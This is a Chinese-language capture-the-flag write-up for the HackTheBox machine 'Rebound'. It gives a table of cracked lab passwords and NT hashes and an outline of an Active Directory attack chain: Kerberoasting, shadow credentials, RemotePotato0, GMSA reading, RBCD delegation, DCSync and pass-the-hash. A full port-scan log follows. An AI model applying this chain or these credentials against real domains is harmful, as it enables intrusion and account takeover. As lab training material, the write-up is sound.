HackTheBox-Rebound

漁王還想 繼續做漁王 而海港已經 不知去向

此刻他醉倒在洗浴中心 沒有潮汐的夢 胸口已暮色蒼茫

靶机ip：10.129.232.31

凭据表

用户 密码/哈希 获取方式 用途
jjones - AS-REP Roasting 无预认证用户，用于Kerberoasting
ldap_monitor 1GR8t@$$4u Kerberoasting破解 LDAP监控账户
oorend 1GR8t@$$4u 密码喷洒 具有AddSelf权限
winrm_svc 4469650fd892e98933b4536d2e86e512 影子凭据攻击 WinRM远程登录
tbrady 543BOMBOMBUNmanda RemotePotato0窃取NTLMv2 ReadGMSAPassword权限
delegator$ f04d2ea6c8cb54cbd12462006a25bf56 GMSA密码读取 机器账户，约束委派
Administrator 176be138594933bb67db3b2572fc91b8 RBCD+KDC组合攻击 域管理员

攻击链路概要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
1. 信息收集
   ├─ RustScan端口扫描 → 识别域控（88/389/445等端口）
   ├─ SMB匿名枚举 → 获取共享目录、用户列表
   └─ RID爆破 → 枚举域用户账户

2. 初始访问
   ├─ AS-REP Roasting → 发现jjones无预认证
   ├─ 无密码Kerberoasting → 获取ldap_monitor的TGS票据
   └─ John破解 → ldap_monitor:1GR8t@$$4u

3. 横向移动（oorend）
   ├─ 密码喷洒 → 发现oorend使用相同密码
   ├─ BloodHound分析 → oorend对ServiceMgmt有AddSelf权限
   ├─ 添加组成员 → oorend加入ServiceMgmt组
   └─ 权限继承 → 获取对SERVICE USERS OU的GenericAll权限

4. 获取Shell（winrm_svc）
   ├─ 影子凭据攻击 → 为winrm_svc添加Key Credential
   ├─ 请求TGT → 获取winrm_svc的NT哈希
   └─ Evil-WinRM登录 → 获得user.txt

5. 权限提升（tbrady）
   ├─ 进程枚举 → 发现explorer.exe在会话1（用户登录）
   ├─ RemotePotato0 → 窃取tbrady的NTLMv2哈希
   └─ John破解 → tbrady:543BOMBOMBUNmanda

6. GMSA利用（delegator$）
   ├─ BloodHound分析 → tbrady对delegator$有ReadGMSAPassword权限
   ├─ NetExec读取GMSA → 获取delegator$的NT哈希
   └─ 委派发现 → delegator$对http/dc01有约束委派

7. 域管提权（RBCD+KDC）
   ├─ RBCD配置 → 为ldap_monitor添加RBCD属性（允许模拟delegator$）
   ├─ S4U2Self → ldap_monitor请求dc01$的自服务票据
   ├─ S4U2Proxy → 使用delegator$的约束委派获取dc01$对http/dc01的票据
   ├─ DCSync → 使用dc01$的票据dump域哈希
   └─ PTH登录 → Administrator权限获得root.txt

端口扫描

使用RustScan快速扫描所有开放端口，然后调用nmap进行服务版本探测
目标：识别目标系统类型和开放的服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
┌──(root㉿kaada)-[/home/kali/Desktop]
└─# ./rustscan -a 10.129.232.31 -- -sC -sV
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
With RustScan, I scan ports so fast, even my firewall gets whiplash 💨

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 10.129.232.31:53
Open 10.129.232.31:88
Open 10.129.232.31:135
Open 10.129.232.31:139
Open 10.129.232.31:389
Open 10.129.232.31:445
Open 10.129.232.31:464
Open 10.129.232.31:593
Open 10.129.232.31:636
Open 10.129.232.31:3268
Open 10.129.232.31:3269
Open 10.129.232.31:5985
Open 10.129.232.31:9389
Open 10.129.232.31:47001
Open 10.129.232.31:49664
Open 10.129.232.31:49665
Open 10.129.232.31:49666
Open 10.129.232.31:49667
Open 10.129.232.31:49674
Open 10.129.232.31:49690
Open 10.129.232.31:49691
Open 10.129.232.31:49696
Open 10.129.232.31:49707
Open 10.129.232.31:49722
Open 10.129.232.31:49743
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -sC -sV" on ip 10.129.232.31
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-13 08:25 +0000
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:25
Completed NSE at 08:25, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:25
Completed NSE at 08:25, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:25
Completed NSE at 08:25, 0.00s elapsed
Initiating Ping Scan at 08:25
Scanning 10.129.232.31 [4 ports]
Completed Ping Scan at 08:25, 0.10s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:25
Completed Parallel DNS resolution of 1 host. at 08:25, 0.50s elapsed
DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 2, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:25
Scanning 10.129.232.31 [25 ports]
Discovered open port 445/tcp on 10.129.232.31
Discovered open port 139/tcp on 10.129.232.31
Discovered open port 53/tcp on 10.129.232.31
Discovered open port 5985/tcp on 10.129.232.31
Discovered open port 47001/tcp on 10.129.232.31
Discovered open port 3268/tcp on 10.129.232.31
Discovered open port 49664/tcp on 10.129.232.31
Discovered open port 9389/tcp on 10.129.232.31
Discovered open port 135/tcp on 10.129.232.31
Discovered open port 389/tcp on 10.129.232.31
Discovered open port 49665/tcp on 10.129.232.31
Discovered open port 88/tcp on 10.129.232.31
Discovered open port 49696/tcp on 10.129.232.31
Discovered open port 464/tcp on 10.129.232.31
Discovered open port 49674/tcp on 10.129.232.31
Discovered open port 49707/tcp on 10.129.232.31
Discovered open port 49691/tcp on 10.129.232.31
Discovered open port 3269/tcp on 10.129.232.31
Discovered open port 49722/tcp on 10.129.232.31
Discovered open port 49690/tcp on 10.129.232.31
Discovered open port 49743/tcp on 10.129.232.31
Discovered open port 593/tcp on 10.129.232.31
Discovered open port 49667/tcp on 10.129.232.31
Discovered open port 49666/tcp on 10.129.232.31
Discovered open port 636/tcp on 10.129.232.31
Completed SYN Stealth Scan at 08:25, 0.28s elapsed (25 total ports)
Initiating Service scan at 08:25
Scanning 25 services on 10.129.232.31
Service scan Timing: About 60.00% done; ETC: 08:26 (0:00:31 remaining)
Completed Service scan at 08:26, 62.57s elapsed (25 services on 1 host)
NSE: Script scanning 10.129.232.31.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 9.20s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 2.50s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:26
Completed NSE at 08:26, 0.00s elapsed
Nmap scan report for 10.129.232.31
Host is up, received echo-reply ttl 127 (0.098s latency).
Scanned at 2026-10-13 08:25:31 UTC for 75s

> 关键端口分析：
> - 53/DNS: 域名服务
> - 88/Kerberos: 域控核心认证服务，可进行AS-REP Roasting和Kerberoasting攻击
> - 389/636/3268/3269: LDAP服务，用于查询域信息
> - 445/SMB: 文件共享，可进行匿名枚举
> - 5985/WinRM: 远程管理，需要有效凭据
> - 综合判断：这是一台Windows域控制器（DC01.rebound.htb）

PORT      STATE SERVICE       REASON          VERSION
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-10-13 15:24:34Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Issuer: commonName=rebound-DC01-CA/domainComponent=rebound
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-06T19:51:11
| Not valid after:  2122-04-08T14:05:49
| MD5:     728b 15ad a351 2a89 c4de 7260 aefa c49b
| SHA-1:   ff90 aad2 fe3a de52 5aa6 657f 1d73 b78a 7eb3 69fb
| SHA-256: 2798 8608 0392 f392 df0c bb50 c001 a056 e114 b5e4 9d31 cac6 5d8b 37a6 ee07 08fb
| -----BEGIN CERTIFICATE-----
| MIIF8zCCBNugAwIBAgITbwAAAAYcFYdRWLA7vgAAAAAABjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHcmVib3Vu
| ZDEYMBYGA1UEAxMPcmVib3VuZC1EQzAxLUNBMCAXDTI1MDMwNjE5NTExMVoYDzIx
| MjIwNDA4MTQwNTQ5WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| wOhIs9+fmN8l2YhXZfgPY21lW9h/sEQ0fk4/pxKcSAsvBWN2S3m6gQljeqJjuh18
| FyT0vYECOb5K0WMmCIhbz3pMAntcfV6vLisfoZ+JSt93ylxgjsJBrAuA7bnp8u0k
| C6ZXZbwovkPRS906DQj+9/DJyHm8W3ohlsR8Ibj+H0PsNYkxP16oTj3OnDbOekEH
| vFJPyGsPCj1miMYTKWABuiL6f8og+KgtqFqGcHL31ltEKnIAGj+kPwY3OvE3xNqJ
| pYUc7avQzwkTR0E+bs0bZxHBlDHI3MmGEJMAyyewP29KMWzoKdmr3YBg0bJEqsgO
| B1726T76HTuVE+pKM3dxTQIDAQABo4IDGjCCAxYwNgYJKwYBBAGCNxUHBCkwJwYf
| KwYBBAGCNxUIh7W1fb+MfYK5iTSGn9RSgeLmHnUBIQIBbgIBAjAyBgNVHSUEKzAp
| BggrBgEFBQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0P
| AQH/BAQDAgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUH
| AwEwDAYKKwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBRKzMD20BZY89pI
| sWtdULOE6NmeRzAfBgNVHSMEGDAWgBSbmFtA5+grnO0zFpUkAsloqtvtTTCBygYD
| VR0fBIHCMIG/MIG8oIG5oIG2hoGzbGRhcDovLy9DTj1yZWJvdW5kLURDMDEtQ0Es
| Q049ZGMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2Vy
| dmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1yZWJvdW5kLERDPWh0Yj9jZXJ0aWZp
| Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0
| aW9uUG9pbnQwgcEGCCsGAQUFBwEBBIG0MIGxMIGuBggrBgEFBQcwAoaBoWxkYXA6
| Ly8vQ049cmVib3VuZC1EQzAxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBT
| ZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXJlYm91bmQs
| REM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0
| aW9uQXV0aG9yaXR5MDQGA1UdEQEB/wQqMCiCEGRjMDEucmVib3VuZC5odGKCC3Jl
| Ym91bmQuaHRiggdyZWJvdW5kME8GCSsGAQQBgjcZAgRCMECgPgYKKwYBBAGCNxkC
| AaAwBC5TLTEtNS0yMS00MDc4MzgyMjM3LTE0OTIxODI4MTctMjU2ODEyNzIwOS0x
| MDAwMA0GCSqGSIb3DQEBCwUAA4IBAQCQT54QMrwzFSsnU/OJ/AgNNvk/xSOgjNKs
| zQx2KEmtFZXjjwt41fC5CjsXtvIgXRGApODvrsZ7lbHA/Z1POJa3llSlglmxP0u2
| KOswihymumzos5pqZIrOk+HxnIs29B97n+GWDWXC018YAqNhDSnfieQZTLGQm3Z7
| naoHE3V41t9670aZicZ+qWW7C3p/jAyyWofRMuS8AtwUgG9R5UgoeRj+T6Vq5EsP
| 8WCnnMwZS5TSgd4/yq4zMtAzDnc4tKWa/O4myBgoTJbk4rqwjHiCVCXkKBkwWuPO
| aqfGl+TPSZkzdhrAIC1QcZvl4qF/ZQGQK6vA3DNa+ASVRx55/lW2
|_-----END CERTIFICATE-----
|_ssl-date: 2026-10-13T15:25:42+00:00; +6h58m56s from scanner time.
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Issuer: commonName=rebound-DC01-CA/domainComponent=rebound
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-06T19:51:11
| Not valid after:  2122-04-08T14:05:49
| MD5:     728b 15ad a351 2a89 c4de 7260 aefa c49b
| SHA-1:   ff90 aad2 fe3a de52 5aa6 657f 1d73 b78a 7eb3 69fb
| SHA-256: 2798 8608 0392 f392 df0c bb50 c001 a056 e114 b5e4 9d31 cac6 5d8b 37a6 ee07 08fb
| -----BEGIN CERTIFICATE-----
| MIIF8zCCBNugAwIBAgITbwAAAAYcFYdRWLA7vgAAAAAABjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHcmVib3Vu
| ZDEYMBYGA1UEAxMPcmVib3VuZC1EQzAxLUNBMCAXDTI1MDMwNjE5NTExMVoYDzIx
| MjIwNDA4MTQwNTQ5WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| wOhIs9+fmN8l2YhXZfgPY21lW9h/sEQ0fk4/pxKcSAsvBWN2S3m6gQljeqJjuh18
| FyT0vYECOb5K0WMmCIhbz3pMAntcfV6vLisfoZ+JSt93ylxgjsJBrAuA7bnp8u0k
| C6ZXZbwovkPRS906DQj+9/DJyHm8W3ohlsR8Ibj+H0PsNYkxP16oTj3OnDbOekEH
| vFJPyGsPCj1miMYTKWABuiL6f8og+KgtqFqGcHL31ltEKnIAGj+kPwY3OvE3xNqJ
| pYUc7avQzwkTR0E+bs0bZxHBlDHI3MmGEJMAyyewP29KMWzoKdmr3YBg0bJEqsgO
| B1726T76HTuVE+pKM3dxTQIDAQABo4IDGjCCAxYwNgYJKwYBBAGCNxUHBCkwJwYf
| KwYBBAGCNxUIh7W1fb+MfYK5iTSGn9RSgeLmHnUBIQIBbgIBAjAyBgNVHSUEKzAp
| BggrBgEFBQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0P
| AQH/BAQDAgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUH
| AwEwDAYKKwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBRKzMD20BZY89pI
| sWtdULOE6NmeRzAfBgNVHSMEGDAWgBSbmFtA5+grnO0zFpUkAsloqtvtTTCBygYD
| VR0fBIHCMIG/MIG8oIG5oIG2hoGzbGRhcDovLy9DTj1yZWJvdW5kLURDMDEtQ0Es
| Q049ZGMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2Vy
| dmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1yZWJvdW5kLERDPWh0Yj9jZXJ0aWZp
| Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0
| aW9uUG9pbnQwgcEGCCsGAQUFBwEBBIG0MIGxMIGuBggrBgEFBQcwAoaBoWxkYXA6
| Ly8vQ049cmVib3VuZC1EQzAxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBT
| ZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXJlYm91bmQs
| REM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0
| aW9uQXV0aG9yaXR5MDQGA1UdEQEB/wQqMCiCEGRjMDEucmVib3VuZC5odGKCC3Jl
| Ym91bmQuaHRiggdyZWJvdW5kME8GCSsGAQQBgjcZAgRCMECgPgYKKwYBBAGCNxkC
| AaAwBC5TLTEtNS0yMS00MDc4MzgyMjM3LTE0OTIxODI4MTctMjU2ODEyNzIwOS0x
| MDAwMA0GCSqGSIb3DQEBCwUAA4IBAQCQT54QMrwzFSsnU/OJ/AgNNvk/xSOgjNKs
| zQx2KEmtFZXjjwt41fC5CjsXtvIgXRGApODvrsZ7lbHA/Z1POJa3llSlglmxP0u2
| KOswihymumzos5pqZIrOk+HxnIs29B97n+GWDWXC018YAqNhDSnfieQZTLGQm3Z7
| naoHE3V41t9670aZicZ+qWW7C3p/jAyyWofRMuS8AtwUgG9R5UgoeRj+T6Vq5EsP
| 8WCnnMwZS5TSgd4/yq4zMtAzDnc4tKWa/O4myBgoTJbk4rqwjHiCVCXkKBkwWuPO
| aqfGl+TPSZkzdhrAIC1QcZvl4qF/ZQGQK6vA3DNa+ASVRx55/lW2
|_-----END CERTIFICATE-----
|_ssl-date: 2026-10-13T15:25:41+00:00; +6h58m56s from scanner time.
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Issuer: commonName=rebound-DC01-CA/domainComponent=rebound
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-06T19:51:11
| Not valid after:  2122-04-08T14:05:49
| MD5:     728b 15ad a351 2a89 c4de 7260 aefa c49b
| SHA-1:   ff90 aad2 fe3a de52 5aa6 657f 1d73 b78a 7eb3 69fb
| SHA-256: 2798 8608 0392 f392 df0c bb50 c001 a056 e114 b5e4 9d31 cac6 5d8b 37a6 ee07 08fb
| -----BEGIN CERTIFICATE-----
| MIIF8zCCBNugAwIBAgITbwAAAAYcFYdRWLA7vgAAAAAABjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHcmVib3Vu
| ZDEYMBYGA1UEAxMPcmVib3VuZC1EQzAxLUNBMCAXDTI1MDMwNjE5NTExMVoYDzIx
| MjIwNDA4MTQwNTQ5WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| wOhIs9+fmN8l2YhXZfgPY21lW9h/sEQ0fk4/pxKcSAsvBWN2S3m6gQljeqJjuh18
| FyT0vYECOb5K0WMmCIhbz3pMAntcfV6vLisfoZ+JSt93ylxgjsJBrAuA7bnp8u0k
| C6ZXZbwovkPRS906DQj+9/DJyHm8W3ohlsR8Ibj+H0PsNYkxP16oTj3OnDbOekEH
| vFJPyGsPCj1miMYTKWABuiL6f8og+KgtqFqGcHL31ltEKnIAGj+kPwY3OvE3xNqJ
| pYUc7avQzwkTR0E+bs0bZxHBlDHI3MmGEJMAyyewP29KMWzoKdmr3YBg0bJEqsgO
| B1726T76HTuVE+pKM3dxTQIDAQABo4IDGjCCAxYwNgYJKwYBBAGCNxUHBCkwJwYf
| KwYBBAGCNxUIh7W1fb+MfYK5iTSGn9RSgeLmHnUBIQIBbgIBAjAyBgNVHSUEKzAp
| BggrBgEFBQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0P
| AQH/BAQDAgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUH
| AwEwDAYKKwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBRKzMD20BZY89pI
| sWtdULOE6NmeRzAfBgNVHSMEGDAWgBSbmFtA5+grnO0zFpUkAsloqtvtTTCBygYD
| VR0fBIHCMIG/MIG8oIG5oIG2hoGzbGRhcDovLy9DTj1yZWJvdW5kLURDMDEtQ0Es
| Q049ZGMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2Vy
| dmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1yZWJvdW5kLERDPWh0Yj9jZXJ0aWZp
| Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0
| aW9uUG9pbnQwgcEGCCsGAQUFBwEBBIG0MIGxMIGuBggrBgEFBQcwAoaBoWxkYXA6
| Ly8vQ049cmVib3VuZC1EQzAxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBT
| ZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXJlYm91bmQs
| REM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0
| aW9uQXV0aG9yaXR5MDQGA1UdEQEB/wQqMCiCEGRjMDEucmVib3VuZC5odGKCC3Jl
| Ym91bmQuaHRiggdyZWJvdW5kME8GCSsGAQQBgjcZAgRCMECgPgYKKwYBBAGCNxkC
| AaAwBC5TLTEtNS0yMS00MDc4MzgyMjM3LTE0OTIxODI4MTctMjU2ODEyNzIwOS0x
| MDAwMA0GCSqGSIb3DQEBCwUAA4IBAQCQT54QMrwzFSsnU/OJ/AgNNvk/xSOgjNKs
| zQx2KEmtFZXjjwt41fC5CjsXtvIgXRGApODvrsZ7lbHA/Z1POJa3llSlglmxP0u2
| KOswihymumzos5pqZIrOk+HxnIs29B97n+GWDWXC018YAqNhDSnfieQZTLGQm3Z7
| naoHE3V41t9670aZicZ+qWW7C3p/jAyyWofRMuS8AtwUgG9R5UgoeRj+T6Vq5EsP
| 8WCnnMwZS5TSgd4/yq4zMtAzDnc4tKWa/O4myBgoTJbk4rqwjHiCVCXkKBkwWuPO
| aqfGl+TPSZkzdhrAIC1QcZvl4qF/ZQGQK6vA3DNa+ASVRx55/lW2
|_-----END CERTIFICATE-----
|_ssl-date: 2026-10-13T15:25:42+00:00; +6h58m56s from scanner time.
3269/tcp  open  ssl/ldap      syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: rebound.htb, Site: Default-First-Site-Name)
|_ssl-date: 2026-10-13T15:25:41+00:00; +6h58m56s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.rebound.htb, DNS:rebound.htb, DNS:rebound
| Issuer: commonName=rebound-DC01-CA/domainComponent=rebound
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-03-06T19:51:11
| Not valid after:  2122-04-08T14:05:49
| MD5:     728b 15ad a351 2a89 c4de 7260 aefa c49b
| SHA-1:   ff90 aad2 fe3a de52 5aa6 657f 1d73 b78a 7eb3 69fb
| SHA-256: 2798 8608 0392 f392 df0c bb50 c001 a056 e114 b5e4 9d31 cac6 5d8b 37a6 ee07 08fb
| -----BEGIN CERTIFICATE-----
| MIIF8zCCBNugAwIBAgITbwAAAAYcFYdRWLA7vgAAAAAABjANBgkqhkiG9w0BAQsF
| ADBIMRMwEQYKCZImiZPyLGQBGRYDaHRiMRcwFQYKCZImiZPyLGQBGRYHcmVib3Vu
| ZDEYMBYGA1UEAxMPcmVib3VuZC1EQzAxLUNBMCAXDTI1MDMwNjE5NTExMVoYDzIx
| MjIwNDA4MTQwNTQ5WjAAMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
| wOhIs9+fmN8l2YhXZfgPY21lW9h/sEQ0fk4/pxKcSAsvBWN2S3m6gQljeqJjuh18
| FyT0vYECOb5K0WMmCIhbz3pMAntcfV6vLisfoZ+JSt93ylxgjsJBrAuA7bnp8u0k
| C6ZXZbwovkPRS906DQj+9/DJyHm8W3ohlsR8Ibj+H0PsNYkxP16oTj3OnDbOekEH
| vFJPyGsPCj1miMYTKWABuiL6f8og+KgtqFqGcHL31ltEKnIAGj+kPwY3OvE3xNqJ
| pYUc7avQzwkTR0E+bs0bZxHBlDHI3MmGEJMAyyewP29KMWzoKdmr3YBg0bJEqsgO
| B1726T76HTuVE+pKM3dxTQIDAQABo4IDGjCCAxYwNgYJKwYBBAGCNxUHBCkwJwYf
| KwYBBAGCNxUIh7W1fb+MfYK5iTSGn9RSgeLmHnUBIQIBbgIBAjAyBgNVHSUEKzAp
| BggrBgEFBQcDAgYIKwYBBQUHAwEGCisGAQQBgjcUAgIGBysGAQUCAwUwDgYDVR0P
| AQH/BAQDAgWgMEAGCSsGAQQBgjcVCgQzMDEwCgYIKwYBBQUHAwIwCgYIKwYBBQUH
| AwEwDAYKKwYBBAGCNxQCAjAJBgcrBgEFAgMFMB0GA1UdDgQWBBRKzMD20BZY89pI
| sWtdULOE6NmeRzAfBgNVHSMEGDAWgBSbmFtA5+grnO0zFpUkAsloqtvtTTCBygYD
| VR0fBIHCMIG/MIG8oIG5oIG2hoGzbGRhcDovLy9DTj1yZWJvdW5kLURDMDEtQ0Es
| Q049ZGMwMSxDTj1DRFAsQ049UHVibGljJTIwS2V5JTIwU2VydmljZXMsQ049U2Vy
| dmljZXMsQ049Q29uZmlndXJhdGlvbixEQz1yZWJvdW5kLERDPWh0Yj9jZXJ0aWZp
| Y2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2JqZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0
| aW9uUG9pbnQwgcEGCCsGAQUFBwEBBIG0MIGxMIGuBggrBgEFBQcwAoaBoWxkYXA6
| Ly8vQ049cmVib3VuZC1EQzAxLUNBLENOPUFJQSxDTj1QdWJsaWMlMjBLZXklMjBT
| ZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPXJlYm91bmQs
| REM9aHRiP2NBQ2VydGlmaWNhdGU/YmFzZT9vYmplY3RDbGFzcz1jZXJ0aWZpY2F0
| aW9uQXV0aG9yaXR5MDQGA1UdEQEB/wQqMCiCEGRjMDEucmVib3VuZC5odGKCC3Jl
| Ym91bmQuaHRiggdyZWJvdW5kME8GCSsGAQQBgjcZAgRCMECgPgYKKwYBBAGCNxkC
| AaAwBC5TLTEtNS0yMS00MDc4MzgyMjM3LTE0OTIxODI4MTctMjU2ODEyNzIwOS0x
| MDAwMA0GCSqGSIb3DQEBCwUAA4IBAQCQT54QMrwzFSsnU/OJ/AgNNvk/xSOgjNKs
| zQx2KEmtFZXjjwt41fC5CjsXtvIgXRGApODvrsZ7lbHA/Z1POJa3llSlglmxP0u2
| KOswihymumzos5pqZIrOk+HxnIs29B97n+GWDWXC018YAqNhDSnfieQZTLGQm3Z7
| naoHE3V41t9670aZicZ+qWW7C3p/jAyyWofRMuS8AtwUgG9R5UgoeRj+T6Vq5EsP
| 8WCnnMwZS5TSgd4/yq4zMtAzDnc4tKWa/O4myBgoTJbk4rqwjHiCVCXkKBkwWuPO
| aqfGl+TPSZkzdhrAIC1QcZvl4qF/ZQGQK6vA3DNa+ASVRx55/lW2
|_-----END CERTIFICATE-----
5985/tcp  open  http          syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
